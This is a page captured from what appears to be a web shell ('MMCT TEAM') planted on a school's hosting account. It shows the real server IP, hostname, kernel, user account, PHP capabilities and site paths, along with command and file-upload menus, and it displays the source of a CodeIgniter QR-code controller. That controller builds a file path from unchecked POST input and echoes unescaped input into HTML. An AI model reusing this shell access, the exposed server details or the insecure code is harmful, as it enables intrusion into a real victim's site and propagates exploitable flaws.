MMCT TEAM
Server IP : 192.185.129.71  /  Your IP : 18.118.3.199
Web Server : Apache
System : Linux bh-ht-3.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : svymadmin ( 4072)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home4/svymadmin/public_html/vivekaexcel.edu.in/bkp/school/application/controllers/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home4/svymadmin/public_html/vivekaexcel.edu.in/bkp/school/application/controllers/QrController.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');

class QrController extends CI_Controller {

	function __construct ()
	{	
		parent::__construct();
		$this->load->library('phpqrcode/qrlib');
		$this->load->helper('url');
	}

	public function index()
	{
		$this->load->view('qrcodetext.php');
	}
	public function qrcode($book_id){
	    $data=$this->db->get("book")->result_array();
	    print_r( $data);
	}

	public function qrcodeGenerator ()
	{
	       
	         $text=$this->input->post("qrtext");
	         $bookid=$this->input->post("bookid");
		     $SERVERFILEPATH = $_SERVER['DOCUMENT_ROOT'].'/ims/vsoe/uploads/books/';
		    
			$folder = $SERVERFILEPATH;
			$file_name1 = "QRcode".$bookid.".png";
			$file_name = $folder.$file_name1;
			QRcode::png($text,$file_name);
			
			echo"<center><img src=".base_url().'uploads/books/'.$file_name1." width='100px' height='100px' >
			            <img src=".base_url().'uploads/books/'.$file_name1." width='100px' height='100px' >
			            <img src=".base_url().'uploads/books/'.$file_name1." width='100px' height='100px'>
			            <img src=".base_url().'uploads/books/'.$file_name1." width='100px' height='100px'>
			            <br>".$this->input->post("accno")."</center>" ;
			
	}
}

MMCT - 2023